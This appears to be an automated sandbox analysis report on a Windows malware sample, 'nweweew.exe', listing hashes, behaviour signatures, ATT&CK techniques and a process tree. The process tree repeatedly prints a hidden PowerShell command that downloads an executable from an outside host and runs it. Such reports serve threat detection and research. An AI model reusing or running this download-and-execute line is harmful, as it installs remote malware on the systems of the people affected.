f1c00b2a0a6b0d005cf2154c7d7ab9fdbf420a4e81c1c5dbd516c1ff452c53ff

Analysis

geolocation tags

cacanadananorth-americatoronto
max time kernel
149s
max time network
123s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260618-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260618-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
20/06/2026, 16:20

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
nweweew.exe
Size 1.2MB
Sample260620-ttcz3ahs3s
SHA256 f1c00b2a0a6b0d005cf2154c7d7ab9fdbf420a4e81c1c5dbd516c1ff452c53ff
MD5 47ab209a41fce6e83d81b23d385fd2b1
SHA1 34a829e010890df765362e9d5356a35f7e863034
SHA512 945734e81845d2a4d9bc44c758af684b874d3067d93b66c56ff66bb22419400b9ae3ad403243eabb69b9700086e05084d34799bdd33c7235bc549b7f04f40f30
SSDEEP 12288:9uXjfOgkcANDKTl9k+olUyDjibI9nUsd3nQ3FJDywE/1QQoIN:9CaNDSylUmebI9nUsd3QVJrE/1QQb
TLSH
T14F458D97A7A241D8DA76A930D676B6137C7074140BBE8BDB67804852DBF3BD0D9FA300
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2328	powershell.exe
3252	powershell.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
5728	nweweew.exe
5728	nweweew.exe
2328	powershell.exe
2328	powershell.exe
3252	powershell.exe
3252	powershell.exe
2328	powershell.exe
3252	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2328	powershell.exe
Token: SeDebugPrivilege	3252	powershell.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
5788	nweweew.exe
5788	nweweew.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 5728 wrote to memory of 4804	5728	nweweew.exe	90
PID 4804 wrote to memory of 5752	4804	cmd.exe	91
PID 5728 wrote to memory of 5788	5728	nweweew.exe	93
PID 5788 wrote to memory of 6824	5788	nweweew.exe	94
PID 6824 wrote to memory of 6844	6824	cmd.exe	95
PID 5752 wrote to memory of 2328	5752	cmd.exe	96
PID 6844 wrote to memory of 3252	6844	cmd.exe	98
PID 5788 wrote to memory of 6752	5788	nweweew.exe	99
PID 5788 wrote to memory of 2844	5788	nweweew.exe	100
PID 5788 wrote to memory of 1396	5788	nweweew.exe	101
PID 5788 wrote to memory of 2700	5788	nweweew.exe	102

C:\Users\Admin\AppData\Local\Temp\nweweew.exe
"C:\Users\Admin\AppData\Local\Temp\nweweew.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:5728
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt' -OutFile $env:TEMP\BK533089.exe; Start-Process -FilePath $env:TEMP\BK533089.exe -WindowStyle Hidden }"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4804
- - C:\Windows\system32\cmd.exe
    cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt' -OutFile $env:TEMP\BK533089.exe; Start-Process -FilePath $env:TEMP\BK533089.exe -WindowStyle Hidden }"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5752
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt' -OutFile $env:TEMP\BK533089.exe; Start-Process -FilePath $env:TEMP\BK533089.exe -WindowStyle Hidden }"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2328
- C:\Users\Admin\AppData\Local\Temp\nweweew.exe
  "C:\Users\Admin\AppData\Local\Temp\nweweew.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:5788
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt' -OutFile $env:TEMP\BK533089.exe; Start-Process -FilePath $env:TEMP\BK533089.exe -WindowStyle Hidden }"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:6824
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt' -OutFile $env:TEMP\BK533089.exe; Start-Process -FilePath $env:TEMP\BK533089.exe -WindowStyle Hidden }"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:6844
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt' -OutFile $env:TEMP\BK533089.exe; Start-Process -FilePath $env:TEMP\BK533089.exe -WindowStyle Hidden }"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3252
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c cls
    3⤵
    PID:6752
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c cls
    3⤵
    PID:2844
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c cls
    3⤵
    PID:1396
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c cls
    3⤵
    PID:2700

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 d5e672aa2e884d7f1da3f83e6088b3f899502f9b184ebcdf9e4902c02f1adb72
MD5 832e7bc587b2288618597e91f4cd252a
SHA1 5a759251749b014956a4794c00513e395eefd828
SHA512 07c3a036030844b439209d0796806e792c495d9400855a980deffd1c65f5887aa0aab469953684a43faee2490c6055aafe9202465849054d0ea72c27279aee49
TLSH
T1AC215937B3DC8614DC9A413A50CEAC1036B6D7DB809ECFABBB84D544B42F699DE61260
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_v13gz4ma.o20.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_v13gz4ma.o20.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/2328-19-0x00007FFEF1970000-0x00007FFEF2314000-memory.dmp

Download

memory/2328-20-0x00007FFEF1970000-0x00007FFEF2314000-memory.dmp

Download

memory/2328-2-0x00007FFEF1AFF000-0x00007FFEF1B00000-memory.dmp

Download

memory/2328-14-0x000001BBA7990000-0x000001BBA79B2000-memory.dmp

Download

memory/2328-17-0x00007FFEF1970000-0x00007FFEF2314000-memory.dmp

Download

memory/2328-18-0x00007FFEF1970000-0x00007FFEF2314000-memory.dmp

Download

memory/2328-28-0x00007FFEF1970000-0x00007FFEF2314000-memory.dmp

Download

memory/2328-3-0x00007FFEF1970000-0x00007FFEF2314000-memory.dmp

Download

memory/2328-21-0x00007FFEF1970000-0x00007FFEF2314000-memory.dmp

Download

memory/2328-22-0x00007FFEF1970000-0x00007FFEF2314000-memory.dmp

Download

memory/2328-23-0x00007FFEF1970000-0x00007FFEF2314000-memory.dmp

Download

memory/2328-24-0x00007FFEF1970000-0x00007FFEF2314000-memory.dmp

Download

memory/2328-25-0x00007FFEF1970000-0x00007FFEF2314000-memory.dmp

Download

memory/2328-27-0x00007FFEF1970000-0x00007FFEF2314000-memory.dmp

Download

memory/5728-0-0x0000020440800000-0x0000020440801000-memory.dmp

Download

memory/5788-1-0x0000016F5FE80000-0x0000016F5FE81000-memory.dmp

Download